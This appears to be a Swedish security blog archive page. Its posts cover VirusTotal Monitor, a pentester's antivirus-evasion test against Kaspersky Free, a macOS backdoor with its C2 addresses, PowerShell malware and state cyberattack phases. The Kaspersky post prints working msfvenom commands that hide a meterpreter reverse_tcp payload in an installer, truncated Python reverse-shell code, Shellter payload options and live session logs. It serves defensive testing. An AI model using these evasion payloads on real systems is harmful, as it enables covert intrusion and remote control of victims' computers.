VirusTotal som ägs av Google sedan några år är en bra tjänst för den som vill kontrollera om filer innehåller skadlig kod. Mer än 70 st olika antivirus-motorer söker igenom den fil som du laddar upp till VirusTotal.
Men ett problem för de som utvecklar mjukvara eller operativsystem är att ibland så blir deras filer felaktigt flaggade som skadlig kod. Så därför har VirusTotal släppt en ny tjänst vid namn Monitor som låter mjukvaruutvecklare att ladda upp filer som de utvecklat.
Det finns flertalet fördelar med detta, dels så får utvecklaren och antivirus-leverantören larm om någon av dessa filer ger utslag vid genomsökning. Dels kan jag få en verifikation att filen jag laddade upp ingår eller är en känd mjukvara.
Tidigare har även VirusTotal delat med sig av alla filer som laddats upp men nu kommer dessa filer som laddas upp inom Monitor enbart delas till AV-leverantörer om de flaggas med skadlig kod.
För de utvecklare som har en utvecklingspipeline så finns det även möjlighet att ladda upp filer via ett REST API.
Exempel på hur det kan se ut om du laddar upp en fil till VirusTotal som matchar mjukvara från HP:
Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.
Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.
Allmänna synpunkter om Kaspersky Free
Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.
Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?
Test 1: Testvirus Eicar vs Kaspersky
Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.
När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).
Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.
Test 2: Powershell implantat vs Kaspersky
Nu börjar det bli lite mer avancerat. I detta test tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.
Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:
Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG. Jag noterar också att den gratis IOC-skannern Loki detekterar detta.
Test 3: Metasploit vs Kaspersky
Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.
Jag använder msfvenom på följande sätt:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe
Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.
Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.
Detta var dock ingen match för Kaspersky att upptäcka:
Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443
Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.
Vilket motsvarar följande kod utan Base64-kodning:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.99.101',443))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)
När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:
[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...
meterpreter > sysinfo
Computer : IE11Win8_1
OS : Windows 8.1 6.3.9600
Architecture : x86
Meterpreter : python/windows
meterpreter >
Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vadVirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.
Test 4: Shellter vs Kaspersky
Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).
Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:
meterpreter_reverse_tcp
meterpreter_reverse_http
meterpreter_reverse_https
meterpreter_bind_tcp
shell_reverse_tcp
shell_bind_tcp
WinExec
Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:
Meterpreter_Reverse_WINHTTP
Meterpreter_Reverse_WINHTTPS
Shell_Reverse_TCP_DNS
Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.
Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:
Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.
Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:
[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400
msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
Laddar jag sedan upp denna testfil tillVirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:
Slutsats
Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.
Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.
Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.
Det är företaget Malwarebytes som upptäckt den första skadliga koden till macOS (tidigare Mac OS X). Det är en bakdörr som går under namnet OSX.Backdoor.Quimitchin
Denna skadlig kod har identifierats hos biomedicinska forskningsanläggningar och har troligtvis utvecklas runt 2013-2014. Även så misstänker Malwarebytes att det finns en Windows-version av denna skadlig kod eftersom VirusTotal har identifierat Windows-binärer som pratar med samma C&C-server (Command and Control):
99.153.29.240
eidk.hopto.org
I övrigt använder den skadliga koden de klassiska tricken som att skriva ut en uppstartsfil för exekvering till ~/Library/LaunchAgents/com.client.client.plist
Även skrivs ett antal filer ner till disk som är skrivna i Java samt Perl. Dessa filer innehåller i sin tur kommandon för både Linux och macOS såsom xwd och macOS motsvarighet screencapture.
Nu har även Apple lagt in denna skadlig kod i det inbyggda antivirus-programmet Gatekeeper till macOS. Apple kallar denna skadliga kod för Fruitfly.
Det är i dagsläget oklart hur denna skadliga kod sprids.
Powershell är ett avancerat skript-språk till Windows som funnits i över 10 år där målet är att byta ut klassiska CMD.exe i framtiden (DOS-kommandotolk). Exempelvis så är standardskalet i Windows 10 just PowerShell. PowerShell är också populärt bland Windows-administratörer för dess förmåga att underlätta admin-arbete och har många olika funktioner vilket även gör det populärt för skadlig kod.
Enligt säkerhetsföretaget Symantec så är 95.4% av alla analyserade powershell-skript skadliga och många organisationer saknar förmåga att upptäcka skadliga powershell-skript uppger företaget. Detta för att loggningen är bristfällig i standardkonfigurationen. Att obfuskera och ändra i powershell-skript och således undgå enklare kontroller i form av strängmatchning och checksummor är också trivialt.
Den senaste alfa-versionen av PowerShell som heter version 6 har utökat stöd för loggning och flertalet olika säkerhetshöjande funktioner.
Följande PowerShell-versioner används som standard i Microsofts olika operativsystem:
Det finns PowerShell-skript för nästan allt, från att skapa ett nätverkssniffer eller för läsa ut lösenord. Vissa hot, t.ex. som Trojan.Kotver som försöker att ladda hem och installera PowerShells-ramverk om den inte är installerad på den infekterade datorn. Även så stödjer PowerShell att ladda hem och exekvera kod direkt i minnet vilket kan försvåra forensiska undersökningar.
Exempel på kod som laddar ner och exekverar kod från Pastebin:
Hur går det egentligen till när antagonister genomför cyberattacker mot Svenska intressen? Jag kommer nedan redogöra ett antal metoder som gör att stater med mycket kapacitet kan infiltrera svenska företag och myndigheter för att sedan stjäla klassificerad information med hjälp av exfiltration.
1. Planeringsfas
Operationer på cyberarenan är välplanerade och därför är samtliga steg är planerade i minsta detalj. Men även även den bästa kan göra fel och avslöja eller läcka information. Det kan röra sig om utveckling av skadlig kod där metadata finns kvar som avslöjar sökvägar eller tidszoner.
Planeringen handlar även om hur mycket resurser som behövs och eventuell programvara som utvecklas eller införskaffas för operationen.
Även så kan flertalet avdelningar koordineras innan, ska HUMINT och SIGINT användas innan så måste detta även planeras i förväg.
2. Kartläggningsfas
Här kartläggs individer, datornätverk, leverantörer, konsulter och nyckelpersoner på organisationen. Vilka resor är planerade och vilka resebolag används, kan en inresa i landet nyttjas för att tömma en laptop på information eller planera avlyssningsutrustning i tangentbordet exempelvis.
Nyckelpersoners personliga nätverk kartläggs och förehavanden av dessa i sociala medier söks av efter förekomster av intressant information. Används LinkedIn av medarbetar och hur ansluts organisationen till Internet samt används VPN-anslutningar.
Finns det partnerorganisationer som kan tänkas ansluta mot målet eller har organisationen filialer eller annan verksamhet som är på annan ort som inte är lika skyddad.
Företag i Sverige skyltar gärna med att dom har säkerhetsskyddsavtal med FMV och några frågor till respektive registratorfunktion hos några myndigheter så kan mycket information inhämtas med stöd av offentlighetsprincipen.
3. Implantat
Skadlig kod och specialskriven zero-days används troligtvis för att genomföra intrång och erhålla ett fotfäste i organisationen. CD/DVD-Skivor eller USB-minnen med mjukvaruuppdateringar som innehåller bakdörrar kan skickas till organisationen efter att tidigare offentliga upphandlingar granskas. Även kan tangentbord, möss, hårddiskar eller annat innehålla bakdörrar redan vid leverans från leverantör.
Även kan trådlösa nätverk knäckas hemmavid där stor datorkapacitet finnes, och detta gäller inte enbart trådlösa nätverk ute hos målorganisationen men även på hemmanätverk hos personal som jobbar på organisationen. Eller varför knäcka lösenordet när en mobiltelefon eller annan enhet som innehåller Wifi-lösenordet kan temporärt lånas.
Riktad skadlig kod skickas även till respektive familjemedlem som kanske även använder den dator som sedan kopplas upp mot organisationens nätverk. Phishing som ser ut att komma från någon välkänd tjänst som den enskilde använder såsom LinkedIn, Facebook eller liknande.
Observera att dessa fyra faser kan pågå under flera år, upp till 10 års tid har undersökningar av skadlig kod påvisat.
Även kan främmande staters signalspaningsmyndighet användas för att leverera implantat när exempelvis mjukvara laddas ner från Internet som ej kontrolleras med signatur eller checksumma i efterhand. Detta kan utföras med Man-on-the-side (MotS) attacker.
4. Exfiltration
Denna fas handlar om att skicka ut information ur organisationens nätverk. Troligtvis klassificerad information men detta genomförs ej i första steg. Den första informationen som exfiltreras innefattar sådant som kan behövas för att kartlägga organisationen ytterligare. Det kan vara datornamn, IP-adresser och sådant som kan ligga till grund för en djupare penetrering av IT-infrastrukturen.
Den specialskrivna mjukvara som står för exfiltrationen har troligtvis ett antal moduler som testar olika sätt att skicka ut information såsom Dropbox, FTP, DNS, HTTPS och E-post via kända E-postprogram.
Mjukvaran har även en funktion som kan detektera om den är på ett nätverk som är fysiskt åtskilt från Internet och då kan nyttja metoder för att ”hoppa över luftgap” (USB-minne, högtalare/mikrofon etc).
5. Upprensning
Att dölja spår är viktigt för att undanröja modus operandi. För alla steg ovan avslöjar små detaljer om antagonisten som kan användas vid IT-forensiska undersökningar och reverse-engineering.
Några metoder som används är att individuellt kryptera olika moduler med olika algoritmer och krypteringsnycklar som enbart dekrypteras när speciella fall uppfylls. Såsom att en viss mjukvara finnes installerad på måldatorn på en viss sökväg (detta kommer från kartläggningsfasen).
Servrar som placeras ut på Internet som sköter Command and Control (C2C) måste vara förberedda för att snabbt destrueras (läs om digitala sprängkistor).
Sammanfattningsvis
Med hjälp av ovan steg så skulle jag påstå att samtliga organisationers skydd skulle brista förr eller senare. Som vanligt gäller det att använda lökprincipen och försöka minimera eventuell skada i tidigt skede.
Av stor vikt är även att det finns väl fungerade intrångsskydd och spårbarhet finns på alla ställen. Fysiskt separerade nätverk och skydd mot röjande signaler (RÖS/TEMPEST) kan givetvis också hjälpa samt kanariefåglar utplacerade.
Och största skillnaden mellan cyberangrepp från just en främmande stat och hackers, organiserad brottslighet etc är resurserna. I form av antalet zero-days, beräkningskraft, SIGINT och uthållighet. Men det kan även hända att stater anlitar hackergrupper för informationsstölder, vilket gör det svårt att urskilja bakomliggande aktör.
Presentationen som jag höll under Internetdagarna 2014 i spåret som OWASP Sweden anordnade hittas nedan. Presentationen handlade om hur skadlig kod stjäl information från system via olika kanaler samt hur denna exfiltration kan upptäckas.
Tyvärr blev formateringen inte helt optimal när presentationen laddades upp till Slideshare.
KPMG Sverige har tillsammans med FireEye placerat ut 14 stycken enheter enligt nedan skiss. Målet är att undersöka hur många riktade attacker dessa organisationer utsätts för samt om någon exfiltration av information genomförs.
Resultatet av studien visar på att 51% av attackerna är okända sedan tidigare samt att hela 79% av organisationerna fick information exfiltrerad.
Totalt identifierades 195 unika binärer med skadlig kod där 52% av dessa ej identifierades som skadlig kod av de 53 antivirus-leverantörerna som användes.
Att riktade attacker blir vanligare och vanligare är så klart något som framhävts under en längre tid men att så pass många organisationer blir utsatta för skadlig kod som ej upptäcks av anti-virus är så klart anmärkningsvärt.
Den skadliga koden PHP/Spy.Bull sprids via webbplatser och programmeringsspråket PHP. En en kryptoanalys på bloggen evilcodecave så visar det sig att den använder sig av en enkel kryptering.